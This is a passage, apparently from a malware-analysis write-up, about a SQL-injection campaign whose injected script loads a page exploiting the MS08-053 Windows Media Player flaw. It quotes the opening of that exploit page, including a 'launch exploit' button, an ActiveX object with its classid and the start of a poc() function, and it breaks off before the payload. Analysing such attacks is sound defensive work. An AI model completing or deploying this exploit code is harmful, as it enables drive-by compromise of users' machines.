a new round of sql-injection attacks to inject the malicious link.
The w.js script essentially iframe to new.htm
Content of new.htm as follows:

It is interesting to note that MS08-053 (WMP9 vulnerability) is exploited in 08053.htm

Content of 08053.htm which looks like a copy and paste with mistakes as follows:

<input language=JavaScript onclick=poc() type=button value=”launch exploit”>

<OBJECT id=”target” classid=”clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C”>
</OBJECT>

<script>

function poc() {
